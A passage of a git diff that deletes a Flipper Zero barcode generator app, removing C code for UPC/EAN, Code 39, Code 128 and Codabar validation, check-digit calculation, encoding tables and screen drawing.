-S: 001000110 -T: 000010110 -U: 110000001 -V: 011000001 -W: 111000000 -X: 010010001 -Y: 110010000 -Z: 011010000 --: 010000101 -.: 110000100 - : 011000100 -*: 010010100 -$: 010101000 -/: 010100010 -+: 010001010 -%: 000101010 \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_utils.c b/applications/external/barcode_gen/barcode_utils.c deleted file mode 100644 index 31274c1fe..000000000 --- a/applications/external/barcode_gen/barcode_utils.c +++ /dev/null @@ -1,147 +0,0 @@ -#include "barcode_utils.h" - -BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES] = {NULL}; - -void init_types() { - BarcodeTypeObj* upc_a = malloc(sizeof(BarcodeTypeObj)); - upc_a->name = "UPC-A"; - upc_a->type = UPCA; - upc_a->min_digits = 11; - upc_a->max_digits = 12; - upc_a->start_pos = 16; - barcode_type_objs[UPCA] = upc_a; - - BarcodeTypeObj* ean_8 = malloc(sizeof(BarcodeTypeObj)); - ean_8->name = "EAN-8"; - ean_8->type = EAN8; - ean_8->min_digits = 7; - ean_8->max_digits = 8; - ean_8->start_pos = 32; - barcode_type_objs[EAN8] = ean_8; - - BarcodeTypeObj* ean_13 = malloc(sizeof(BarcodeTypeObj)); - ean_13->name = "EAN-13"; - ean_13->type = EAN13; - ean_13->min_digits = 12; - ean_13->max_digits = 13; - ean_13->start_pos = 16; - barcode_type_objs[EAN13] = ean_13; - - BarcodeTypeObj* code_39 = malloc(sizeof(BarcodeTypeObj)); - code_39->name = "CODE-39"; - code_39->type = CODE39; - code_39->min_digits = 1; - code_39->max_digits = -1; - code_39->start_pos = 0; - barcode_type_objs[CODE39] = code_39; - - BarcodeTypeObj* code_128 = malloc(sizeof(BarcodeTypeObj)); - code_128->name = "CODE-128"; - code_128->type = CODE128; - code_128->min_digits = 1; - code_128->max_digits = -1; - code_128->start_pos = 0; - barcode_type_objs[CODE128] = code_128; - - BarcodeTypeObj* code_128c = malloc(sizeof(BarcodeTypeObj)); - code_128c->name = "CODE-128C"; - code_128c->type = CODE128C; - code_128c->min_digits = 2; - code_128c->max_digits = -1; - code_128c->start_pos = 0; - barcode_type_objs[CODE128C] = code_128c; - - BarcodeTypeObj* codabar = malloc(sizeof(BarcodeTypeObj)); - codabar->name = "Codabar"; - codabar->type = CODABAR; - codabar->min_digits = 1; - codabar->max_digits = -1; - codabar->start_pos = 0; - barcode_type_objs[CODABAR] = codabar; - - BarcodeTypeObj* unknown = malloc(sizeof(BarcodeTypeObj)); - unknown->name = "Unknown"; - unknown->type = UNKNOWN; - unknown->min_digits = 0; - unknown->max_digits = 0; - unknown->start_pos = 0; - barcode_type_objs[UNKNOWN] = unknown; -} - -void free_types() { - for(int i = 0; i < NUMBER_OF_BARCODE_TYPES; i++) { - free(barcode_type_objs[i]); - } -} - -BarcodeTypeObj* get_type(FuriString* type_string) { - if(furi_string_cmp_str(type_string, "UPC-A") == 0) { - return barcode_type_objs[UPCA]; - } - if(furi_string_cmp_str(type_string, "EAN-8") == 0) { - return barcode_type_objs[EAN8]; - } - if(furi_string_cmp_str(type_string, "EAN-13") == 0) { - return barcode_type_objs[EAN13]; - } - if(furi_string_cmp_str(type_string, "CODE-39") == 0) { - return barcode_type_objs[CODE39]; - } - if(furi_string_cmp_str(type_string, "CODE-128") == 0) { - return barcode_type_objs[CODE128]; - } - if(furi_string_cmp_str(type_string, "CODE-128C") == 0) { - return barcode_type_objs[CODE128C]; - } - if(furi_string_cmp_str(type_string, "Codabar") == 0) { - return barcode_type_objs[CODABAR]; - } - - return barcode_type_objs[UNKNOWN]; -} - -const char* get_error_code_name(ErrorCode error_code) { - switch(error_code) { - case WrongNumberOfDigits: - return "Wrong Number Of Digits"; - case InvalidCharacters: - return "Invalid Characters"; - case UnsupportedType: - return "Unsupported Type"; - case FileOpening: - return "File Opening Error"; - case InvalidFileData: - return "Invalid File Data"; - case MissingEncodingTable: - return "Missing Encoding Table"; - case EncodingTableError: - return "Encoding Table Error"; - case OKCode: - return "OK"; - default: - return "Unknown Code"; - }; -} - -const char* get_error_code_message(ErrorCode error_code) { - switch(error_code) { - case WrongNumberOfDigits: - return "Wrong # of characters"; - case InvalidCharacters: - return "Invalid characters"; - case UnsupportedType: - return "Unsupported barcode type"; - case FileOpening: - return "Could not open file"; - case InvalidFileData: - return "Invalid file data"; - case MissingEncodingTable: - return "Missing encoding table"; - case EncodingTableError: - return "Encoding table error"; - case OKCode: - return "OK"; - default: - return "Could not read barcode data"; - }; -} diff --git a/applications/external/barcode_gen/barcode_utils.h b/applications/external/barcode_gen/barcode_utils.h deleted file mode 100644 index 0a27785cf..000000000 --- a/applications/external/barcode_gen/barcode_utils.h +++ /dev/null @@ -1,55 +0,0 @@ - -#pragma once -#include -#include - -#define NUMBER_OF_BARCODE_TYPES 8 - -typedef enum { - WrongNumberOfDigits, //There is too many or too few digits in the barcode - InvalidCharacters, //The barcode contains invalid characters - UnsupportedType, //the barcode type is not supported - FileOpening, //A problem occurred when opening the barcode data file - InvalidFileData, //One of the key in the file doesn't exist or there is a typo - MissingEncodingTable, //The encoding table txt for the barcode type is missing - EncodingTableError, //Something is wrong with the encoding table, probably missing data or typo - OKCode -} ErrorCode; - -typedef enum { - UPCA, - EAN8, - EAN13, - CODE39, - CODE128, - CODE128C, - CODABAR, - - UNKNOWN -} BarcodeType; - -typedef struct { - char* name; //The name of the barcode type - BarcodeType type; //The barcode type enum - int min_digits; //the minimum number of digits - int max_digits; //the maximum number of digits - int start_pos; //where to start drawing the barcode, set to -1 to dynamically draw barcode -} BarcodeTypeObj; - -typedef struct { - BarcodeTypeObj* type_obj; - int check_digit; //A place to store the check digit - FuriString* raw_data; //the data directly from the file - FuriString* correct_data; //the corrected/processed data - bool valid; //true if the raw data is correctly formatted, such as correct num of digits, valid characters, etc. - ErrorCode reason; //the reason why this barcode is invalid -} BarcodeData; - -//All available barcode types -extern BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES]; - -void init_types(); -void free_types(); -BarcodeTypeObj* get_type(FuriString* type_string); -const char* get_error_code_name(ErrorCode error_code); -const char* get_error_code_message(ErrorCode error_code); diff --git a/applications/external/barcode_gen/barcode_validator.c b/applications/external/barcode_gen/barcode_validator.c deleted file mode 100644 index cb493f3e9..000000000 --- a/applications/external/barcode_gen/barcode_validator.c +++ /dev/null @@ -1,532 +0,0 @@ -#include "barcode_validator.h" - -void barcode_loader(BarcodeData* barcode_data) { - switch(barcode_data->type_obj->type) { - case UPCA: - case EAN8: - case EAN13: - ean_upc_loader(barcode_data); - break; - case CODE39: - code_39_loader(barcode_data); - break; - case CODE128: - code_128_loader(barcode_data); - break; - case CODE128C: - code_128c_loader(barcode_data); - break; - case CODABAR: - codabar_loader(barcode_data); - break; - case UNKNOWN: - barcode_data->reason = UnsupportedType; - barcode_data->valid = false; - default: - break; - } -} - -/** - * Calculates the check digit of a barcode if they have one - * @param barcode_data the barcode data - * @returns a check digit or -1 for either an invalid -*/ -int calculate_check_digit(BarcodeData* barcode_data) { - int check_digit = -1; - switch(barcode_data->type_obj->type) { - case UPCA: - case EAN8: - case EAN13: - check_digit = calculate_ean_upc_check_digit(barcode_data); - break; - case CODE39: - case CODE128: - case CODE128C: - case CODABAR: - case UNKNOWN: - default: - break; - } - - return check_digit; -} - -/** - * Calculates the check digit of barcode types UPC-A, EAN-8, & EAN-13 -*/ -int calculate_ean_upc_check_digit(BarcodeData* barcode_data) { - int check_digit = 0; - int odd = 0; - int even = 0; - - int length = barcode_data->type_obj->min_digits; - - //Get sum of odd digits - for(int i = 0; i < length; i += 2) { - odd += furi_string_get_char(barcode_data->raw_data, i) - '0'; - } - - //Get sum of even digits - for(int i = 1; i < length; i += 2) { - even += furi_string_get_char(barcode_data->raw_data, i) - '0'; - } - - if(barcode_data->type_obj->type == EAN13) { - check_digit = even * 3 + odd; - } else { - check_digit = odd * 3 + even; - } - - check_digit = check_digit % 10; - - return (10 - check_digit) % 10; -} - -/** - * Loads and validates Barcode Types EAN-8, EAN-13, and UPC-A - * barcode_data and its strings should already be allocated; -*/ -void ean_upc_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - int min_digits = barcode_data->type_obj->min_digits; - int max_digit = barcode_data->type_obj->max_digits; - - //check the length of the barcode - if(barcode_length < min_digits || barcode_length > max_digit) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - //checks if the barcode contains any characters that aren't a number - for(int i = 0; i < barcode_length; i++) { - char character = furi_string_get_char(barcode_data->raw_data, i); - int digit = character - '0'; //convert the number into an int (also the index) - if(digit < 0 || digit > 9) { - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - return; - } - } - - int check_digit = calculate_check_digit(barcode_data); - char check_digit_char = check_digit + '0'; - - barcode_data->check_digit = check_digit; - - //if the barcode length is at max length then we will verify if the check digit is correct - if(barcode_length == max_digit) { - //append the raw_data to the correct data string - furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); - - //append the check digit to the correct data string - furi_string_set_char(barcode_data->correct_data, min_digits, check_digit_char); - } - //if the barcode length is at min length, we will calculate the check digit - if(barcode_length == min_digits) { - //append the raw_data to the correct data string - furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); - - //append the check digit to the correct data string - furi_string_push_back(barcode_data->correct_data, check_digit_char); - } -} - -void code_39_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - int min_digits = barcode_data->type_obj->min_digits; - - //check the length of the barcode, must contain atleast a character, - //this can have as many characters as it wants, it might not fit on the screen - if(barcode_length < min_digits) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - FuriString* barcode_bits = furi_string_alloc(); - FuriString* temp_string = furi_string_alloc(); - - //add starting and ending * - if(!furi_string_start_with(barcode_data->raw_data, "*")) { - furi_string_push_back(temp_string, '*'); - furi_string_cat(temp_string, barcode_data->raw_data); - furi_string_set(barcode_data->raw_data, temp_string); - } - - if(!furi_string_end_with(barcode_data->raw_data, "*")) { - furi_string_push_back(barcode_data->raw_data, '*'); - } - - furi_string_free(temp_string); - barcode_length = furi_string_size(barcode_data->raw_data); - - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(ff, CODE39_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "Could not open file %s", CODE39_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i++) { - char barcode_char = toupper(furi_string_get_char(barcode_data->raw_data, i)); - - //convert a char into a string so it used in flipper_format_read_string - char current_character[2]; - snprintf(current_character, 2, "%c", barcode_char); - - if(!flipper_format_read_string(ff, current_character, char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - break; - } else { - FURI_LOG_I( - TAG, "\"%c\" string: %s", barcode_char, furi_string_get_cstr(char_bits)); - furi_string_cat(barcode_bits, char_bits); - } - flipper_format_rewind(ff); - } - furi_string_free(char_bits); - } - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} - -/** - * Loads a code 128 barcode - * - * Only supports character set B -*/ -void code_128_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - //the start code for character set B - int start_code_value = 104; - - //The bits for the start code - const char* start_code_bits = "11010010000"; - - //The bits for the stop code - const char* stop_code_bits = "1100011101011"; - - int min_digits = barcode_data->type_obj->min_digits; - - /** - * A sum of all of the characters values - * Ex: - * Barcode Data : ABC - * A has a value of 33 - * B has a value of 34 - * C has a value of 35 - * - * the checksum_adder would be (33 * 1) + (34 * 2) + (35 * 3) + 104 = 310 - * - * Add 104 since we are using set B - */ - int checksum_adder = start_code_value; - /** - * Checksum digits is the number of characters it has read so far - * In the above example the checksum_digits would be 3 - */ - int checksum_digits = 0; - - //the calculated check digit - int final_check_digit = 0; - - //check the length of the barcode, must contain atleast a character, - //this can have as many characters as it wants, it might not fit on the screen - if(barcode_length < min_digits) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - FuriString* barcode_bits = furi_string_alloc(); - - //add the start code - furi_string_cat(barcode_bits, start_code_bits); - - if(!flipper_format_file_open_existing(ff, CODE128_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "Could not open file %s", CODE128_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* value = furi_string_alloc(); - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i++) { - char barcode_char = furi_string_get_char(barcode_data->raw_data, i); - - //convert a char into a string so it used in flipper_format_read_string - char current_character[2]; - snprintf(current_character, 2, "%c", barcode_char); - - //get the value of the character - if(!flipper_format_read_string(ff, current_character, value)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - break; - } - //using the value of the character, get the characters bits - if(!flipper_format_read_string(ff, furi_string_get_cstr(value), char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - break; - } else { - //add the bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - //calculate the checksum - checksum_digits += 1; - checksum_adder += (atoi(furi_string_get_cstr(value)) * checksum_digits); - - FURI_LOG_D( - TAG, - "\"%c\" string: %s : %s : %d : %d : %d", - barcode_char, - furi_string_get_cstr(char_bits), - furi_string_get_cstr(value), - checksum_digits, - (atoi(furi_string_get_cstr(value)) * checksum_digits), - checksum_adder); - } - //bring the file pointer back to the beginning - flipper_format_rewind(ff); - } - - //calculate the check digit and convert it into a c string for lookup in the encoding table - final_check_digit = checksum_adder % 103; - int length = snprintf(NULL, 0, "%d", final_check_digit); - char* final_check_digit_string = malloc(length + 1); - snprintf(final_check_digit_string, length + 1, "%d", final_check_digit); - - //after the checksum has been calculated, add the bits to the full barcode - if(!flipper_format_read_string(ff, final_check_digit_string, char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%s\" string", final_check_digit_string); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - } else { - //add the check digit bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - FURI_LOG_D( - TAG, - "\"%s\" string: %s", - final_check_digit_string, - furi_string_get_cstr(char_bits)); - } - - free(final_check_digit_string); - furi_string_free(value); - furi_string_free(char_bits); - } - - //add the stop code - furi_string_cat(barcode_bits, stop_code_bits); - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} - -/** - * Loads a code 128 C barcode -*/ -void code_128c_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - //the start code for character set C - int start_code_value = 105; - - //The bits for the start code - const char* start_code_bits = "11010011100"; - - //The bits for the stop code - const char* stop_code_bits = "1100011101011"; - - int min_digits = barcode_data->type_obj->min_digits; - - int checksum_adder = start_code_value; - int checksum_digits = 0; - - //the calculated check digit - int final_check_digit = 0; - - // check the length of the barcode, must contain atleast 2 character, - // this can have as many characters as it wants, it might not fit on the screen - // code 128 C: the length must be even - if((barcode_length < min_digits) || (barcode_length & 1)) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - FuriString* barcode_bits = furi_string_alloc(); - - //add the start code - furi_string_cat(barcode_bits, start_code_bits); - - if(!flipper_format_file_open_existing(ff, CODE128C_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "c128c Could not open file %s", CODE128C_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* value = furi_string_alloc(); - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i += 2) { - char barcode_char1 = furi_string_get_char(barcode_data->raw_data, i); - char barcode_char2 = furi_string_get_char(barcode_data->raw_data, i + 1); - FURI_LOG_I(TAG, "c128c bc1='%c' bc2='%c'", barcode_char1, barcode_char2); - - char current_chars[4]; - snprintf(current_chars, 3, "%c%c", barcode_char1, barcode_char2); - FURI_LOG_I(TAG, "c128c current_chars='%s'", current_chars); - - //using the value of the characters, get the characters bits - if(!flipper_format_read_string(ff, current_chars, char_bits)) { - FURI_LOG_E(TAG, "c128c Could not read \"%s\" string", current_chars); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - break; - } else { - //add the bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - // calculate the checksum - checksum_digits += 1; - checksum_adder += (atoi(current_chars) * checksum_digits); - - FURI_LOG_I( - TAG, - "c128c \"%s\" string: %s : %s : %d : %d : %d", - current_chars, - furi_string_get_cstr(char_bits), - furi_string_get_cstr(value), - checksum_digits, - (atoi(furi_string_get_cstr(value)) * checksum_digits), - checksum_adder); - } - //bring the file pointer back to the begining - flipper_format_rewind(ff); - } - //calculate the check digit and convert it into a c string for lookup in the encoding table - final_check_digit = checksum_adder % 103; - FURI_LOG_I(TAG, "c128c finale_check_digit=%d", final_check_digit); - - int length = snprintf(NULL, 0, "%d", final_check_digit); - if(final_check_digit < 100) length = 2; - char* final_check_digit_string = malloc(length + 1); - snprintf(final_check_digit_string, length + 1, "%02d", final_check_digit); - - //after the checksum has been calculated, add the bits to the full barcode - if(!flipper_format_read_string(ff, final_check_digit_string, char_bits)) { - FURI_LOG_E(TAG, "c128c cksum Could not read \"%s\" string", final_check_digit_string); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - } else { - //add the check digit bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - FURI_LOG_I( - TAG, - "check digit \"%s\" string: %s", - final_check_digit_string, - furi_string_get_cstr(char_bits)); - } - - free(final_check_digit_string); - furi_string_free(value); - furi_string_free(char_bits); - } - - //add the stop code - furi_string_cat(barcode_bits, stop_code_bits); - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - FURI_LOG_I(TAG, "c128c %s", furi_string_get_cstr(barcode_bits)); - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} - -void codabar_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - int min_digits = barcode_data->type_obj->min_digits; - - //check the length of the barcode, must contain atleast a character, - //this can have as many characters as it wants, it might not fit on the screen - if(barcode_length < min_digits) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - FuriString* barcode_bits = furi_string_alloc(); - - barcode_length = furi_string_size(barcode_data->raw_data); - - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(ff, CODABAR_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "Could not open file %s", CODABAR_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i++) { - char barcode_char = toupper(furi_string_get_char(barcode_data->raw_data, i)); - - //convert a char into a string so it used in flipper_format_read_string - char current_character[2]; - snprintf(current_character, 2, "%c", barcode_char); - - if(!flipper_format_read_string(ff, current_character, char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - break; - } else { - FURI_LOG_I( - TAG, "\"%c\" string: %s", barcode_char, furi_string_get_cstr(char_bits)); - furi_string_cat(barcode_bits, char_bits); - } - flipper_format_rewind(ff); - } - furi_string_free(char_bits); - } - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} diff --git a/applications/external/barcode_gen/barcode_validator.h b/applications/external/barcode_gen/barcode_validator.h deleted file mode 100644 index 2138124dd..000000000 --- a/applications/external/barcode_gen/barcode_validator.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include "barcode_app.h" - -int calculate_check_digit(BarcodeData* barcode_data); -int calculate_ean_upc_check_digit(BarcodeData* barcode_data); -void ean_upc_loader(BarcodeData* barcode_data); -void upc_a_loader(BarcodeData* barcode_data); -void ean_8_loader(BarcodeData* barcode_data); -void ean_13_loader(BarcodeData* barcode_data); -void code_39_loader(BarcodeData* barcode_data); -void code_128_loader(BarcodeData* barcode_data); -void code_128c_loader(BarcodeData* barcode_data); -void codabar_loader(BarcodeData* barcode_data); -void barcode_loader(BarcodeData* barcode_data); diff --git a/applications/external/barcode_gen/encodings.c b/applications/external/barcode_gen/encodings.c deleted file mode 100644 index 764fde796..000000000 --- a/applications/external/barcode_gen/encodings.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "encodings.h" - -const char EAN_13_STRUCTURE_CODES[10][6] = { - "LLLLLL", - "LLGLGG", - "LLGGLG", - "LLGGGL", - "LGLLGG", - "LGGLLG", - "LGGGLL", - "LGLGLG", - "LGLGGL", - "LGGLGL"}; - -const char UPC_EAN_L_CODES[10][8] = { - "0001101", // 0 - "0011001", // 1 - "0010011", // 2 - "0111101", // 3 - "0100011", // 4 - "0110001", // 5 - "0101111", // 6 - "0111011", // 7 - "0110111", // 8 - "0001011" // 9 -}; - -const char EAN_G_CODES[10][8] = { - "0100111", // 0 - "0110011", // 1 - "0011011", // 2 - "0100001", // 3 - "0011101", // 4 - "0111001", // 5 - "0000101", // 6 - "0010001", // 7 - "0001001", // 8 - "0010111" // 9 -}; - -const char UPC_EAN_R_CODES[10][8] = { - "1110010", // 0 - "1100110", // 1 - "1101100", // 2 - "1000010", // 3 - "1011100", // 4 - "1001110", // 5 - "1010000", // 6 - "1000100", // 7 - "1001000", // 8 - "1110100" // 9 -}; \ No newline at end of file diff --git a/applications/external/barcode_gen/encodings.h b/applications/external/barcode_gen/encodings.h deleted file mode 100644 index c5b8d61ff..000000000 --- a/applications/external/barcode_gen/encodings.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -extern const char EAN_13_STRUCTURE_CODES[10][6]; -extern const char UPC_EAN_L_CODES[10][8]; -extern const char EAN_G_CODES[10][8]; -extern const char UPC_EAN_R_CODES[10][8]; \ No newline at end of file diff --git a/applications/external/barcode_gen/images/barcode_10.png b/applications/external/barcode_gen/images/barcode_10.png deleted file mode 100644 index 32d4971ad..000000000 Binary files a/applications/external/barcode_gen/images/barcode_10.png and /dev/null differ diff --git a/applications/external/barcode_gen/views/barcode_view.c b/applications/external/barcode_gen/views/barcode_view.c deleted file mode 100644 index 55ab52046..000000000 --- a/applications/external/barcode_gen/views/barcode_view.c +++ /dev/null @@ -1,510 +0,0 @@ -#include "../barcode_app.h" -#include "barcode_view.h" -#include "../encodings.h" - -/** - * @brief Draws a single bit from a barcode at a specified location - * @param canvas - * @param bit a 1 or a 0 to signify a bit of data - * @param x the top left x coordinate - * @param y the top left y coordinate - * @param width the width of the bit - * @param height the height of the bit - */ -static void draw_bit(Canvas* canvas, int bit, int x, int y, int width, int height) { - if(bit == 1) { - canvas_set_color(canvas, ColorBlack); - } else { - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_box(canvas, x, y, width, height); -} - -/** - * -*/ -static void draw_error_str(Canvas* canvas, const char* error) { - canvas_clear(canvas); - canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); -} - -/** - * @param bits a string of 1's and 0's - * @returns the x coordinate after the bits have been drawn, useful for drawing the next section of bits -*/ -static int draw_bits(Canvas* canvas, const char* bits, int x, int y, int width, int height) { - int bits_length = strlen(bits); - for(int i = 0; i < bits_length; i++) { - char c = bits[i]; - int num = c - '0'; - - draw_bit(canvas, num, x, y, width, height); - - x += width; - } - return x; -} - -/** - * Draws an EAN-8 type barcode, does not check if the barcode is valid - * @param canvas the canvas - * @param barcode_digits the digits in the barcode, must be 8 characters long -*/ -static void draw_ean_8(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* barcode_digits = barcode_data->correct_data; - BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - - int x = type_obj->start_pos; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - //the guard patterns for the beginning, center, ending - const char* end_bits = "101"; - const char* center_bits = "01010"; - - //draw the starting guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); - - FuriString* code_part = furi_string_alloc(); - - //loop through each digit, find the encoding, and draw it - for(int i = 0; i < barcode_length; i++) { - char current_digit = furi_string_get_char(barcode_digits, i); - - //the actual number and the index of the bits - int index = current_digit - '0'; - //use the L-codes for the first 4 digits and the R-Codes for the last 4 digits - if(i <= 3) { - furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); - } else { - furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); - } - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); - - //draw the bits of the barcode - x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); - - //if the index has reached 3, that means 4 digits have been drawn and now draw the center guard pattern - if(i == 3) { - x = draw_bits(canvas, center_bits, x, y, width, height + 5); - } - } - furi_string_free(code_part); - - //draw the ending guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); -} - -static void draw_ean_13(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* barcode_digits = barcode_data->correct_data; - BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - - int x = type_obj->start_pos; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - //the guard patterns for the beginning, center, ending - const char* end_bits = "101"; - const char* center_bits = "01010"; - - //draw the starting guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); - - FuriString* left_structure = furi_string_alloc(); - FuriString* code_part = furi_string_alloc(); - - //loop through each digit, find the encoding, and draw it - for(int i = 0; i < barcode_length; i++) { - char current_digit = furi_string_get_char(barcode_digits, i); - int index = current_digit - '0'; - - if(i == 0) { - furi_string_set_str(left_structure, EAN_13_STRUCTURE_CODES[index]); - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x - 10, y + height + 8, current_digit_string); - - continue; - } else { - //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits - if(i <= 6) { - //get the encoding type at the current barcode bit position - char encoding_type = furi_string_get_char(left_structure, i - 1); - if(encoding_type == 'L') { - furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); - } else { - furi_string_set_str(code_part, EAN_G_CODES[index]); - } - } else { - furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); - } - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); - - //draw the bits of the barcode - x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); - - //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern - if(i == 6) { - x = draw_bits(canvas, center_bits, x, y, width, height + 5); - } - } - } - - furi_string_free(left_structure); - furi_string_free(code_part); - - //draw the ending guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); -} - -/** - * Draw a UPC-A barcode -*/ -static void draw_upc_a(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* barcode_digits = barcode_data->correct_data; - BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - - int x = type_obj->start_pos; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - //the guard patterns for the beginning, center, ending - char* end_bits = "101"; - char* center_bits = "01010"; - - //draw the starting guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); - - FuriString* code_part = furi_string_alloc(); - - //loop through each digit, find the encoding, and draw it - for(int i = 0; i < barcode_length; i++) { - char current_digit = furi_string_get_char(barcode_digits, i); - int index = current_digit - '0'; //convert the number into an int (also the index) - - //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits - if(i <= 5) { - furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); - } else { - furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); - } - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); - - //draw the bits of the barcode - x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); - - //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern - if(i == 5) { - x = draw_bits(canvas, center_bits, x, y, width, height + 5); - } - } - - furi_string_free(code_part); - - //draw the ending guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); -} - -static void draw_code_39(Canvas* 